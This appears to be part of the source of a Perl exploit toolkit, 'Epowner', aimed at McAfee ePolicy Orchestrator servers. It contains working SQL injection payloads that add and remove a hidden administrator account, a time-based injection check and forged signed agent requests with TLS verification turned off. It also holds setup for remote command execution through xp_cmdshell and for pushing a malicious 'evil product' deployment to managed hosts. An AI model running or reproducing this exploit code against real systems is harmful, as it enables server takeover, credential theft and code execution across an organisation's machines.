65 | my ($class) = @_; # get the parameters
66 |
67 |
68 | # cabextract linux tool
69 | $this->{cabextract_path} = `which cabextract`;
70 | $this->{cabextract_path} =~ s/\n//g;
71 | # test cabextract
72 | if (not -f $this->{cabextract_path}) {
73 | print "ERROR: 'cabextract' was not found on your system. Please apt-getize cabextract\n";
74 | exit;
75 | }
76 |
77 | # lcab linux tool
78 | $this->{lcab_path} = `which lcab`;
79 | $this->{lcab_path} =~ s/\n//g;
80 | # test cabextract
81 | if (not -f $this->{lcab_path}) {
82 | print "ERROR: 'lcab' was not found on your system. Please apt-getize lcab\n";
83 | exit;
84 | }
85 |
86 | # 7z tool
87 | $this->{seven_z_path} = `which 7z`;
88 | $this->{seven_z_path} =~ s/\n//g;
89 | # test 7z
90 | if (not -f $this->{seven_z_path}) {
91 | print "ERROR: '7z' was not found on your system. Please apt-getize 7z\n";
92 | exit;
93 | }
94 |
95 |
96 |
97 | $this->{vulnerable} = 0; # updated by --check
98 |
99 | $this->{state_registered} = 0; # updated by --register and --unregister
100 |
101 | $this->{use_color} = 1; # colored output ?
102 |
103 | # 3DES key
104 | # This key is used for both catalog.z, PkgCatalog.z and agent-server communication
105 | $this->{des3_symkey} = '';
106 |
107 | # AES-128 Key
108 | # This key is used to encrypt Domain creds inside the database. This key is stored inside orion.keystore file on the server
109 | # The key is recovered by "--ad-creds"
110 | $this->{aes_symkey_keystore} = '';
111 |
112 | # Server variables
113 | $this->{server_host} = 0;
114 | $this->{server_port} = 443;
115 | $this->{server_consoleport} = 8443;
116 | $this->{server_pubkeyhash} = 0;
117 | $this->{server_is_dba} = 0; # updated by "check mode"
118 | $this->{server_force_nondba} = 0;
119 | $this->{server_mssql_whoami} = ''; # updated by "check mode". If 'server_is_dba' is true, do we have SYSTEM priv or "Network Service" ?
120 |
121 | $this->{server_db_folder} = ''; # filled-in by --get-install-path
122 | $this->{server_db_folder_default} = 'C:\PROGRA~2\McAfee\EPOLIC~1\DB';
123 | $this->{server_tomcat_folder} = '';
124 | $this->{server_tomcat_folder_default} = 'C:\PROGRA~2\McAfee\EPOLIC~1\Server';
125 | $this->{server_apache_folder} = '';
126 | $this->{server_apache_folder_default} = 'C:\PROGRA~2\McAfee\EPOLIC~1\Apache2';
127 | $this->{server_install_folder} = '';
128 | $this->{server_install_folder_default} = 'C:\PROGRA~2\McAfee\EPOLIC~1';
129 |
130 | $this->{server_servername} = ''; # feeded by ModeReadDB
131 |
132 | # Remote command exec
133 | $this->{srv_exec_mode} = 0; # Which mode to use for remote code exec on the ePo server ?
134 | # 0 : Not defined yet
135 | # 1 : Use DBA mode (xp_cmdshell) because we found that MSSQL run with SYSTEM account
136 | # 2 : Use Non-DBA mode (automatic response rule).
137 | $this->{srv_exec_priv} = 0; # do we have high privilege (SYSTEM) in the current 'srv_exec_mode' ?
138 |
139 |
140 | # Agent variables
141 | $this->{agent_hostname} = 0;
142 | $this->{agent_ip} = 0;
143 | $this->{agent_subnet} = 0;
144 | $this->{agent_netmask} = 0;
145 | $this->{agent_mac} = 0;
146 | $this->{agent_guid} = 0;
147 | $this->{agent_seqnum} = 1;
148 |
149 | $this->{verbose} = 0;
150 | $this->{force} = 0;
151 | $this->{dsa_agent} = Crypt::OpenSSL::DSA->new();
152 |
153 |
154 | # States
155 | $this->{state_exec_nondba_setup} = 0; # did we already ran --srv-exec --setup-nondba ?
156 | $this->{state_add_admin} = 0; # did we already ran --add-admin ?
157 | $this->{state_cli_deploy} = 0; # did we use --cli-deploy ? (flag used by --clean-all)
158 |
159 | # Tag
160 | $this->{common_prefix} = ''; # Used to build various name inside ePo DB and webconsole
161 | # Cleanup functions use this tag to recognise any entries we've created
162 | # during a previous session. Value is generated during --register
163 |
164 | # config filenmanes
165 | $this->{config_file} = "epo.conf";
166 | $this->{agent_dsa_filename_private} = "agent-dsa-priv.pem";
167 |
168 | # variables for building HTTP requests
169 | $this->{binary_header1} = '';
170 | $this->{binary_header2} = '';
171 | $this->{props_xml} = '';
172 | $this->{event_xml} = '';
173 |
174 |
175 | # Tomcat
176 | $this->{browser} = ''; # User-Agent object
177 | $this->{security_token} = ''; # tomcat token
178 | $this->{admin_username} = '';
179 | $this->{admin_password} = '';
180 |
181 |
182 | # Variables for --register
183 | $this->{dsa_reqseckey_private} = Crypt::OpenSSL::DSA->new();
184 | $this->{agent_pubkey_epo_format} = '';
185 |
186 |
187 | $this->{temp_folder} = 'tmp/';
188 |
189 | # catalog DSA & RSA keys
190 | $this->{catalog_dsa_folder} = "$this->{temp_folder}dsa/";
191 | $this->{catalog_rsa_folder} = "$this->{temp_folder}/rsa/";
192 | $this->{catalog_dsa_pub_file} = 'smpubkey.bin';
193 | $this->{catalog_rsa_pub_file} = 'smpubkey.bin';
194 | $this->{catalog_dsa_priv_file} = 'smseckey.bin';
195 | $this->{catalog_rsa_priv_file} = 'smseckey.pem'; # we need pem file here
196 |
197 |
198 | # catalog files
199 | $this->{catalog_tmp_folder} = "$this->{temp_folder}/catalog/";
200 | $this->{catalog_xml_file} = 'catalog.xml';
201 | $this->{catalog_cab_file} = 'catalog.cab.tmp';
202 | $this->{catalog_signedcab_file} = 'catalog.cab';
203 | $this->{catalog_z_file} = 'catalog.z';
204 |
205 | # PkgCatalog DSA & RSA keys
206 | $this->{pkgcatalog_dsa_folder} = $this->{catalog_dsa_folder};
207 | $this->{pkgcatalog_rsa_folder} = $this->{catalog_rsa_folder};
208 | $this->{pkgcatalog_dsa_pub_file} = $this->{catalog_dsa_pub_file};
209 | $this->{pkgcatalog_rsa_pub_file} = $this->{catalog_rsa_pub_file};
210 | $this->{pkgcatalog_dsa_priv_file} = $this->{catalog_dsa_priv_file};
211 | $this->{pkgcatalog_rsa_priv_file} = $this->{catalog_rsa_priv_file};
212 |
213 | # PkgCatalog files
214 | $this->{pkgcatalog_tmp_folder} = "$this->{temp_folder}/pkgcatalog/";
215 | $this->{pkgcatalog_xml_file} = 'PkgCatalog.xml';
216 | $this->{pkgcatalog_cab_file} = 'PkgCatalog.cab.tmp';
217 | $this->{pkgcatalog_signedcab_file} = 'PkgCatalog.cab';
218 | $this->{pkgcatalog_z_file} = 'PkgCatalog.z';
219 |
220 | # unzip.exe (used by --deploy)
221 | $this->{unzip_local_file} = "tools/unzip.exe";
222 | $this->{unzip_remote_file} = "unzip00000000000000000.exe";
223 |
224 | # DumpKey.class
225 | $this->{tool_dumpkey} = 'tools/DumpKey0000000000000.class';
226 |
227 |
228 | # Softwar deploymnt soft
229 | $this->{deploy_local_repository} = "$this->{temp_folder}/deployment/repo/"; # build repository tree
230 | $this->{deploy_local_zipfile} = "$this->{temp_folder}/deployment/repo.zip"; # zipped repo (local filename)
231 | $this->{deploy_remote_zipfile} = "repo000000000000000000.zip"; # zipped repo (remote file name), to upload and decompress on server
232 | $this->{deploy_evil_product_id} = ''; # generated once during --register. used by --deploy and for cleaning..
233 | $this->{deploy_evil_product_version} = '4.5.0';
234 | $this->{deploy_evil_product_build} = '1471';
235 | $this->{deploy_products_replica_log} = "$this->{temp_folder}/deployment/replica.log";
236 | $this->{deploy_run_bat} = "$this->{temp_folder}/deployment/run.bat"; # batch file wich will start our evil file, or execute our command
237 | # during software deployment
238 |
239 | # Software Managment keys
240 | $this->{smkey_dsa} = $this->{catalog_dsa_folder} ;
241 | $this->{smkey_rsa} = $this->{catalog_rsa_folder} ;
242 |
243 |
244 |
245 | #git-issue-1
246 | #-----------
247 | # local path to srpubkey.bin
248 | $this->{srpubkey_bin} = ''; # Public DSA key of server
249 | # local path to reqseckey.bin
250 | $this->{reqseckey_bin} = ''; # "Common" private DSA key for registration request signature
251 | # local path to framepkg.exe
252 | $this->{framepkg_exe} = '';
253 |
254 |
255 | # drop previous temp folder if any ..
256 | rmtree($this->{temp_folder});
257 |
258 | bless $this, $class;
259 | return $this;
260 | }
261 |
262 | # Conf file
263 | sub set_config_file {
264 | my $this = shift; my $data = shift;
265 | $this->{config_file} = $data;
266 | }
267 |
268 | sub get_config_file {
269 | my $this = shift; return $this->{config_file};
270 | }
271 |
272 | sub set_no_color{
273 | my $this = shift;
274 | $this->{use_color} = 0;
275 | }
276 |
277 | sub set_force{
278 | my $this = shift;
279 | $this->{force} =1;
280 | }
281 |
282 | sub set_server_console_port {
283 | my $this = shift; my $data = shift;
284 | $this->{server_consoleport} = $data;
285 | }
286 |
287 | sub set_registered{
288 | my $this = shift;
289 | $this->{state_registered} = 1;
290 | }
291 |
292 | sub have_dba_privs{
293 | my $this = shift;
294 | return $this->{server_is_dba};
295 | }
296 |
297 | sub get_srv_exec_mode{
298 | my $this = shift;
299 | return $this->{srv_exec_mode};
300 | }
301 |
302 | sub have_srv_exec_priv(){
303 | my $this = shift;
304 | return $this->{srv_exec_priv};
305 | }
306 |
307 | sub init_prefix{
308 | my $this = shift;
309 | $this->{common_prefix} = random_string_alphanum_lower(6);
310 | }
311 | sub init_productid{
312 | my $this = shift;
313 | $this->{deploy_evil_product_id} = random_string_upper(8);
314 | }
315 |
316 |
317 | # Verbose
318 | sub set_verbose_mode {
319 | my $this = shift; my $data = shift;
320 | $this->{verbose} = $data;;
321 | }
322 | sub get_verbose_mode {
323 | my $this = shift;
324 | return $this->{verbose};
325 | }
326 |
327 | # Server host
328 | sub set_server_host{
329 | my $this = shift; my $data = shift;
330 | $this->{server_host} = $data;
331 | }
332 | sub get_server_host{
333 | my $this = shift; return $this->{server_host};
334 | }
335 |
336 | # Server port
337 | sub set_server_port{
338 | my $this = shift; my $data = shift;
339 | $this->{server_port} = $data;
340 | }
341 | sub get_server_port{
342 | my $this = shift; return $this->{server_port};
343 | }
344 |
345 | # Agent hostname
346 | sub set_agent_hostname{
347 | my $this = shift; my $data = shift;
348 | $this->{agent_hostname} = $data;
349 | print " [+] Agent Hostname: " . $this->{agent_hostname}. "\n" if $this->{verbose};
350 | }
351 | sub get_agent_hostname{
352 | my $this = shift; return $this->{agent_hostname};
353 | }
354 |
355 | # Agent IP
356 | sub set_agent_ip{
357 | my $this = shift; my $data = shift;
358 | $this->{agent_ip} = $data;
359 | $this->{agent_subnet} = $data;
360 | $this->{agent_subnet} =~ s/\.[0-9]+$/.0/; # let's say we want C class
361 | $this->{agent_netmask} = '255.255.255.0';
362 | print " [+] Agent IP: " . $this->{agent_ip}. "/24\n" if $this->{verbose};
363 | }
364 | sub get_agent_ip{
365 | my $this = shift; return $this->{agent_ip};
366 | }
367 |
368 | # Agent Mac
369 | sub set_agent_mac{
370 | my $this = shift; my $data = shift;
371 | $this->{agent_mac} = $data;
372 | print " [+] Agent MAC: " . $this->{agent_mac}. "\n" if $this->{verbose};
373 | }
374 | sub get_agent_mac{
375 | my $this = shift; return $this->{agent_mac};
376 | }
377 |
378 |
379 | # Agent GUID
380 | sub generate_agent_guid {
381 | my $this = shift;
382 | $this->{agent_guid} = generate_guid();
383 | print " [+] Agent GUID : " . $this->{agent_guid}. "\n" if $this->{verbose};
384 | }
385 | sub get_agent_guid{
386 | my $this = shift; return $this->{agent_guid};
387 | }
388 |
389 | # DBA mode
390 | sub set_force_nondba{
391 | my $this = shift;
392 | $this->{server_force_nondba} = 1;
393 | print " [+] Forcing Cmd EXE in Non-DBA mode\n" if $this->{verbose};
394 | }
395 | sub get_force_nondba{
396 | my $this = shift;
397 | return $this->{server_force_nondba};
398 | }
399 |
400 |
401 | #git-issue-1
402 | #-----------
403 | sub set_path_srpubkey_bin{
404 | my $this = shift;
405 | $this->{srpubkey_bin} = shift;
406 |
407 | # file exists ?
408 | if(not -f $this->{srpubkey_bin}){
409 | print "[-] ERROR (srpubkey_bin): file not found at '" . $this->{srpubkey_bin}. "'\n";
410 | exit;
411 | }
412 | print " [+] Local path to srpubkey.bin : " . $this->{srpubkey_bin} . "\n" if $this->{verbose};
413 | }
414 | sub set_path_reqseckey_bin{
415 | my $this = shift;
416 | $this->{reqseckey_bin} = shift;
417 |
418 | # file exists ?
419 | if(not -f $this->{reqseckey_bin}){
420 | print "[-] ERROR (reqseckey_bin): file not found at '" . $this->{reqseckey_bin}. "'\n";
421 | exit;
422 | }
423 | print " [+] Local path to reqseckey.bin : " . $this->{reqseckey_bin} . "\n" if $this->{verbose};
424 | }
425 | sub set_path_framepkg_exe{
426 | my $this = shift;
427 | $this->{framepkg_exe} = shift;
428 |
429 | # file exists ?
430 | if(not -f $this->{framepkg_exe}){
431 | print "[-] ERROR (framepkg_exe): file not found at '" . $this->{framepkg_exe}. "'\n";
432 | exit;
433 | }
434 | print " [+] Local path to framepkg.exe : " . $this->{framepkg_exe} . "\n" if $this->{verbose};
435 | }
436 |
437 |
438 | 1;
439 |
--------------------------------------------------------------------------------
/Epowner/HTTP.pm:
--------------------------------------------------------------------------------
1 | package Epowner::Epo;
2 |
3 |
4 | use XML::Simple;
5 | use Data::Dumper;
6 |
7 | use strict;
8 | use warnings;
9 |
10 | # git-issue-1
11 | IO::Socket::SSL::set_ctx_defaults(SSL_verify_mode => SSL_VERIFY_NONE);
12 | $ENV{PERL_LWP_SSL_VERIFY_HOSTNAME} = 0;
13 |
14 |
15 | #============================================================#
16 | # Send a McAfee HTTP POST Request #
17 | #============================================================#
18 | sub send_http_request{
19 | my $this = shift;
20 | my $post_data = shift;
21 |
22 | # init browser
23 | my $ua = LWP::UserAgent->new (ssl_opts => {
24 | verify_hostname => 0,
25 | SSL_verify_mode => SSL_VERIFY_NONE
26 | }
27 | );
28 | # $ua->ssl_opts( verify_hostname => 0 );
29 | $ua->agent("Mozilla/4.0 (compatible; SPIPE/3.0; Windows)");
30 |
31 |
32 | # init request
33 | my $req = HTTP::Request->new();
34 | $req->method("POST");
35 | $req->uri( "https://" . $this->{server_host} .":". $this->{server_port} .
36 | "/spipe/pkg?AgentGuid=" .$this->{agent_guid} . "&Source=Agent_3.0.0 HTTP/1.1");
37 | $req->content_type('application/octet-stream');
38 | $req->header(Accept => "application/octet-stream");
39 | $req->content($post_data);
40 |
41 | # Sending ...
42 | print " [+] Sending malicious request (please wait...)\n" if $this->{verbose};
43 | my $res = $ua->request($req);
44 | if ( ! $res->is_success) {
45 | $this->print_err ("[-] HTTP Request failed with error '" . $res->status_line . "'.. :( \n") ;
46 | if($res->code eq "503"){
47 | $this->print_data(" Could be related to an invalid (too small) sequence number. I will increasing it for you\n");
48 | $this->print_data(" Please try again ...\n");
49 | $this->{agent_seqnum}+=100;
50 | $this->config_save();
51 | }
52 | exit;
53 | }
54 |
55 |
56 | return $res->content;
57 | }
58 |
59 |
60 | #============================================================#
61 | # Get a page (poll until the page exists) #
62 | #============================================================#
63 | sub http_poll_uri_get {
64 |
65 | my $this = shift;
66 | my $uri = shift;
67 |
68 | my $get_request = HTTP::Request->new;
69 | $get_request->method('GET');
70 | $get_request->uri($uri);
71 |
72 | #my $user_agent = LWP::UserAgent->new (ssl_opts => { verify_hostname => 0 });
73 | my $user_agent = LWP::UserAgent->new (ssl_opts => {
74 | verify_hostname => 0,
75 | SSL_verify_mode => SSL_VERIFY_NONE
76 | }
77 | );
78 |
79 | my $response;
80 | my $body = 0;
81 |
82 | #if($this->{server_is_dba} and not $this->{server_force_nondba}){
83 | if($this->{srv_exec_mode} == 1 and not $this->{server_force_nondba}){
84 | print " [+] polling $uri : " ;
85 | $response = $user_agent->request($get_request);
86 | if ($response->code eq "200"){
87 | print " found!\n";
88 | $body = $response->content;
89 | }else{
90 | print " not found..\n" ;
91 | print "[-] ERROR (http_poll_uri_get): can't download $uri\n";
92 | return 0;
93 | }
94 | }else{
95 | # in non-dba cmd exec mode, the previous 'copy' command is run asynchronously
96 | # give a few try here..
97 | for(my $i=0;$i<20;$i++){
98 | print " [+] polling $uri : " ;
99 | $response = $user_agent->request($get_request);
100 | if ($response->code eq "200"){
101 | print " found!\n";
102 | $body = $response->content;
103 | $i =20; #exit loop
104 | }else{
105 | print " not found. Retrying in 10 sec ...\n" ;
106 | sleep(10);
107 | }
108 | }
109 | if ($response->code ne "200"){
110 | print "[-] ERROR (http_poll_uri_get): can't download $uri\n";
111 | return 0;
112 | }
113 | }
114 |
115 | return $body;
116 |
117 | }
118 |
119 |
120 | #============================================================#
121 | # HTTP Response: Parse 'Server.xml' #
122 | #============================================================#
123 | sub parse_server_xml {
124 |
125 | # NOTE : I'm not really pride of this function
126 | # It was my first time with XML::Simple
127 |
128 |
129 | my $this = shift;
130 | my $xml_str = shift;
131 |
132 | my @output; # to return
133 |
134 | # read XML
135 | my $xml = new XML::Simple;
136 | my $data = $xml->XMLin( $xml_str,
137 | ForceArray => 0,
138 | KeyAttr => { Policy => 'PathID',
139 | Product => 'SoftwareID',
140 | Setting => 'name',
141 | Section => 'name'}
142 | );
143 |
144 | # print output
145 | my %policy_hash = %{$data->{'PolicyRoot'}->{'PolicyGroup'}->{'Policy'}};
146 |
147 | #print Dumper($data);
148 |
149 | foreach my $key( keys %policy_hash ){
150 |
151 | # if we find 'Product' but no 'Section, it means that we have multiple products
152 | if(defined($policy_hash{$key}{'Product'} )
153 | && !defined($policy_hash{$key}{'Product'}{'Section'})){
154 | #print "must parse sub products\n";
155 | foreach my $key2 (keys %{$policy_hash{$key}{'Product'}}){
156 | if( defined($policy_hash{$key}{'Product'}{$key2}{'Section'}{'ProxySettings'})){
157 | #print "Found \n";
158 | # TODO: not sure we need this
159 | }
160 | }
161 |
162 | }else{
163 | # Otherwise, test for proxySettings
164 | if( defined($policy_hash{$key}{'Product'}{'Section'}{'ProxySettings'})){
165 | # parse setting
166 | foreach my $key2 (keys %{$policy_hash{$key}{'Product'}{'Section'}{'ProxySettings'}{'Setting'}} ){
167 | if($key2 =~ /epowner_data_/){
168 | my $value = $policy_hash{$key}{'Product'}{'Section'}{'ProxySettings'}{'Setting'}{$key2}{'content'};
169 | #print " $value\n";
170 | push (@output, $value);
171 | }
172 | }
173 | }
174 |
175 | }
176 | }
177 |
178 | return (@output);
179 |
180 | }
181 |
182 |
183 |
184 | #============================================================#
185 | # HTTP Response : Parse the McAfee data from the body #
186 | #============================================================#
187 | sub parse_data_response {
188 |
189 | my $this = shift;
190 | my $data = shift;
191 | my %return ;
192 |
193 |
194 | # POLICY SERVER
195 | #==============
196 |
197 | #00000000 01 00 11 00 50 6f 6c 69 63 79 5c 53 65 72 76 65 |....Policy\Serve|
198 | #00000010 72 2e 78 6d 6c 0d 28 00 00 3c 3f 78 6d 6c 20 76 |r.xml.(..|
201 |
202 | # Where is defined Server.xml ?
203 | my $server_xml_position = index($data, "Policy\\Server.xml");
204 | if($server_xml_position eq -1){
205 | print "[-] ERROR: Could not find 'Policy\\Server.xml' in the HTTP response\n";
206 | exit;
207 | }
208 |
209 | # get server.xml content
210 | my $server_xml = substr($data, $server_xml_position + length("Policy\\Server.xml"));
211 |
212 | # get server.xml len
213 | my $server_xml_len = substr($server_xml, 0, 4);
214 | $server_xml_len = unpack("V", $server_xml_len);
215 | $return{'server_xml_len'} = $server_xml_len;
216 | #print $server_xml_len . "\n";
217 |
218 | # remove len
219 | $server_xml = substr($server_xml, 4);
220 |
221 | # finalise server.xml content
222 | $server_xml = substr($server_xml, 0, $server_xml_len);
223 | $return{'server_xml'} = $server_xml;
224 | #print $server_xml . "\n";
225 |
226 |
227 |
228 |
229 | # REPOKEY.INI
230 | #===============
231 |
232 |
233 | #00002800 61 73 6b 47 72 6f 75 70 3e 0d 0a 3c 2f 54 61 73 |askGroup>..........RepoKe|
236 | #00002830 79 73 2e 69 6e 69 4a 0d 00 00 5b 52 65 70 6f 4b |ys.iniJ...[RepoK|
237 | #00002840 65 79 48 61 73 68 4c 69 73 74 5d 0d 0a 56 65 72 |eyHashList]..Ver|
238 | #00002850 73 69 6f 6e 3d 32 30 31 32 31 30 30 37 31 37 31 |sion=20121007171|
239 | #00002860 35 30 33 0d 0a 4c 69 73 74 3d 46 31 48 6a 74 54 |503..List=F1HjtT|
240 |
241 |
242 | # Where is defined repokey.ini ?
243 | my $repokeys_ini_position = index($data, "RepoKeys.ini");
244 | if($repokeys_ini_position eq -1){
245 | print "[-] ERROR: Could not find 'RepoKeys.ini' in the HTTP response\n";
246 | exit;
247 | }
248 |
249 | # get content
250 | my $repokeys_ini = substr($data, $repokeys_ini_position + length("RepoKeys.ini"));
251 |
252 | # get repokeys.ini len
253 | my $repokeys_ini_len = substr($repokeys_ini, 0, 4);
254 | $repokeys_ini_len = unpack("V", $repokeys_ini_len);
255 | $return{'repokeys_len'} = $repokeys_ini_len;
256 | #print $repokeys_ini_len . "\n";
257 |
258 | # remove len
259 | $repokeys_ini = substr($repokeys_ini, 4);
260 |
261 | # finalise content
262 | $repokeys_ini = substr($repokeys_ini, 0, $repokeys_ini_len);
263 | $return{'repokeys'} = $repokeys_ini;
264 | #print $repokeys_ini . "\n";
265 |
266 |
267 |
268 | # SITELIST.XML
269 | #===============
270 |
271 | #00003570 43 6e 35 56 63 67 67 57 4d 43 41 77 45 41 41 51 |Cn5VcggWMCAwEAAQ|
272 | #00003580 3d 3d 0d 0a 03 00 0c 00 53 69 74 65 4c 69 73 74 |==......SiteList|
273 | #00003590 2e 78 6d 6c 8c 0c 00 00 3c 6e 73 3a 53 69 74 65 |.xml....{server_host};
401 | my $server_port = $this->{server_port};
402 | my $s = IO::Socket::SSL->new(
403 | PeerHost => $server_host,
404 | PeerPort => $server_port,
405 | SSL_verify_mode => SSL_VERIFY_NONE);
406 | #or die "[-] ERROR in SSL Socket Creation to $server_host:$server_port\n $!\n";
407 | if($s) { close $s; return 1;}
408 | else { return 0;}
409 | }
410 |
411 | #====================================================================
412 | # FUNCTION: Test Connectivity with admin console (TODO: and perform fingerprint verif)
413 | #====================================================================
414 | sub check_connectivity_webconsole{
415 | my $this = shift;
416 | my $server_host = $this->{server_host};
417 | my $server_port = $this->{server_consoleport};
418 | my $s = IO::Socket::SSL->new(
419 | PeerHost => $server_host,
420 | PeerPort => $server_port,
421 | SSL_verify_mode => SSL_VERIFY_NONE);
422 | #or die "[-] ERROR in SSL Socket Creation to $server_host:$server_port\n $!\n";
423 | if($s) {
424 | close $s;
425 | return 1;
426 | } else { return 0;}
427 | }
428 |
429 |
430 | 1;
431 |
--------------------------------------------------------------------------------
/Epowner/ModeAddAdmin.pm:
--------------------------------------------------------------------------------
1 | package Epowner::Epo;
2 |
3 | use MIME::Base64;
4 | use Digest::SHA qw(sha1);
5 | use URI::Escape;
6 |
7 | use strict;
8 | use warnings;
9 |
10 |
11 | #============================================================#
12 | # Delete our admin from the DB #
13 | #============================================================#
14 | sub mode_addadmin_clean {
15 |
16 | my $this = shift;
17 |
18 | if($this->{state_add_admin} eq 0){
19 | $this->print_err ("[-] ERROR (mode_addadmin_clean) : It appears that you never ran '--add-admin'. There is nothing to clean up\n");
20 | return 0;
21 | }
22 |
23 | # SQL Injection
24 | my $sqli =
25 | "') ; DELETE from [dbo].[OrionUsers] where Name = '$this->{admin_username}' ; -- ";
26 |
27 |
28 | print "[*] Removing our admin account from the ePo database\n";
29 |
30 | my $http_request = $this->mode_common_generate_fullprops_request($sqli);
31 | if($this->send_http_request($http_request)){
32 | $this->print_ok ("[*] User '$this->{admin_username}' removed from the database.\n");
33 |
34 | # keep trace of this action
35 | $this->{state_add_admin} = 0;
36 | }else{
37 | return 0;
38 | }
39 |
40 | return 1;
41 |
42 |
43 |
44 | }
45 |
46 | #============================================================#
47 | # Add our own admin in the database #
48 | #============================================================#
49 | sub mode_addadmin {
50 |
51 | my $this = shift;
52 | my $username = shift || random_string_alphanum_lower(6);
53 | my $password = shift || random_string_alphanum_lower(6);
54 |
55 |
56 | # we only manage one admin
57 | if($this->{state_add_admin}){
58 | $this->print_warn ("[-] WARN (mode_addadmin) : It appears that you already added a new admin\n");
59 | $this->print_warn (" If you want to remove it, please use '--add-admin --clean'. Skipping request.\n");
60 | return 0;
61 | }
62 |
63 | $this->print_info_l1("[*] Call to ModeAddAdmin\n");
64 | $this->print_info_l2(" Parameters: ");
65 | print "Username: $username , Password: $password\n";
66 |
67 | # generate password hash
68 | my $salt = random_string(4); # 4 byte of salt
69 | my $sha1 = sha1($password . $salt); # SHA1
70 | my $hash = uri_escape(encode_base64($sha1 . $salt, "")); # URL + b64 encoding
71 | $hash = "auth:pwd?pwd=" . $hash;
72 |
73 | # SQL Injection
74 | my $sqli =
75 | "') ; INSERT INTO [dbo].[OrionUsers] (Name, AuthURI, Admin, Disabled, Visible, Interactive, Removable, Editable) " .
76 | " VALUES ('$username','$hash',1,0,0,1,1,1) ; -- ";
77 |
78 |
79 | print "[*] Adding a new (invisible) admin in the ePo database\n";
80 |
81 | my $http_request = $this->mode_common_generate_fullprops_request($sqli);
82 | if($this->send_http_request($http_request)){
83 |
84 | # save it
85 | $this->{admin_username} = $username;
86 | $this->{admin_password} = $password;
87 |
88 | $this->print_ok ("[*] You should now be able to logon on https://" . $this->{server_host} . ":" . $this->{server_consoleport} . "\n");
89 | $this->print_ok ("[*] Login: $this->{admin_username}\n");
90 | $this->print_ok ("[*] Passw: $this->{admin_password}\n");
91 |
92 | # keep trace of this action
93 | $this->{state_add_admin} = 1;
94 |
95 | }else{
96 | return 0;
97 | }
98 |
99 | return 1;
100 |
101 | }
102 | 1;
103 |
--------------------------------------------------------------------------------
/Epowner/ModeCheck.pm:
--------------------------------------------------------------------------------
1 | package Epowner::Epo;
2 |
3 | use Time::HiRes qw(time);
4 |
5 | use strict;
6 | use warnings;
7 |
8 |
9 | #============================================================#
10 | # Check vulnerability #
11 | #============================================================#
12 | sub mode_check {
13 |
14 | my $this = shift;
15 |
16 | my $check_for_nondba=0;
17 |
18 | # WAITFOR DELAY
19 |
20 | my $sec = 15;
21 |
22 | print "\n";
23 | $this->print_info ("[*] Testing SQL Injection vulnerability\n");
24 | $this->print_info_l2 (" (waitfor delay '00:00:$sec')\n");
25 |
26 | my $sqli_waitfordelay = "') waitfor delay '00:00:$sec' ; -- " ;
27 |
28 | my $http_request = $this->mode_common_generate_fullprops_request($sqli_waitfordelay);
29 | my $time_start = time();
30 | $this->send_http_request($http_request);
31 | my $time_stop = time();
32 | my $delay = $time_stop - $time_start;
33 |
34 | if($delay < ($sec - 1)){
35 | printf "[-] Not good... Elapsed time: %.3f seconds (expected >= $sec)\n", $delay;
36 | print " This target doesn't seem vulnerable. Exiting.\n";
37 | $this->{vulnerable} = 0;
38 | }else{
39 | my $str = sprintf "[*] Looks good !! Elapsed time: %.3f seconds\n", $delay;
40 | print $str;
41 | $this->print_ok("[*] It appears that the target is vulnerable to SQL injection !\n");
42 | $this->{vulnerable} = 1;
43 | }
44 |
45 |
46 | }
47 | 1;
48 |
--------------------------------------------------------------------------------
/Epowner/ModeCommon.pm:
--------------------------------------------------------------------------------
1 | package Epowner::Epo;
2 |
3 | use MIME::Base64;
4 |
5 | use strict;
6 | use warnings;
7 |
8 |
9 |
10 |
11 | #====================================================================
12 | # FUNCTION: Common : Generate HTTP Request
13 | #====================================================================
14 | sub mode_common_generate_fullprops_request{
15 |
16 | my $this = shift;
17 | my $sqli = shift;
18 |
19 | # build data
20 | print " [+] Generating data structures\n" if $this->{verbose};
21 | $this->build_struct_fullprops_header1();
22 | $this->build_struct_fullprops_header2();
23 | $this->build_struct_fullprops_props($sqli);
24 |
25 |
26 | # Compressing FULL Properties XML
27 | #====================================================================
28 | print " [+] Compressing FullProps XML\n" if $this->{verbose};
29 | my $data_compressed = compress_deflate($this->{props_xml});
30 |
31 |
32 | # Updating various fields in binary_header1
33 | #====================================================================
34 | print " [+] Updating various fields in binary_header1\n" if $this->{verbose};
35 |
36 | # Update HEADER_LEN in "binary_header1" (little-endian)
37 | my $final_header_len = pack("V", length($this->{binary_header1}) + length($this->{binary_header2}));
38 | $this->{binary_header1} =~ s/WWWW/$final_header_len/;
39 |
40 | # Update DATA_LEN in "binary_header1" (little-endian)
41 | my $final_data_len = pack("V", length($data_compressed));
42 | $this->{binary_header1} =~ s/ZZZZ/$final_data_len/;
43 |
44 |
45 | # XORing binary_header1
46 | #====================================================================
47 | print " [+] XORing binary_header1\n" if $this->{verbose};
48 | # XOR post_binary_header1 (because it's fun ?)
49 | my $binary_header1_xored = xor_str($this->{binary_header1}, 0xaa);
50 |
51 |
52 |
53 | # Generating DSA Signature
54 | #====================================================================
55 | print " [+] Generating DSA Signature\n" if $this->{verbose};
56 | my $signature = dsa_sign(
57 | $this->{binary_header1} . $this->{binary_header2} . $data_compressed, # to sign
58 | $this->{dsa_agent} # dsa object
59 | );
60 |
61 |
62 | # Building final HTTP POST request
63 | #====================================================================
64 | print " [+] Building final HTTP POST request\n" if $this->{verbose};
65 | # Final binary package
66 | my $post_data=
67 | $binary_header1_xored .
68 | $this->{binary_header2} .
69 | $data_compressed .
70 | $signature;
71 |
72 |
73 | return $post_data;
74 |
75 |
76 | # Final HTTP request
77 | # my $http_req =
78 | # "POST /spipe/pkg?AgentGuid=" .$this->{agent_guid} . "&Source=Agent_3.0.0 HTTP/1.1\r\n" .
79 | # "User-Agent: Mozilla/4.0 (compatible; SPIPE/3.0; Windows)\r\n" .
80 | # "Accept: application/octet-stream\r\n" .
81 | # "Accept-Language: en-us\r\n" .
82 | # "Host: " . $this->{server_host} . "\r\n" .
83 | # "Content-Type: application/octet-stream\r\n" .
84 | # "Content-Length: " . length($binary_struct) . "\r\n" .
85 | # "\r\n" .
86 | # $binary_struct;
87 | #
88 | # return $http_req;
89 | }
90 |
91 |
92 |
93 | #====================================================================
94 | # FUNCTION: Common : Generate Event HTTP Request
95 | #====================================================================
96 | sub mode_common_generate_event_request{
97 |
98 | my $this = shift;
99 | my $event_hostname = shift || $this->{agent_hostname}; # hostname can be used during --exec-server , to pass the os command. Max length: 266 chars
100 | my $event_dest_filename = shift || undef; # used for uploading file (dest filename)
101 | my $event_xml_content = shift || undef; # used for uploading file (content)
102 |
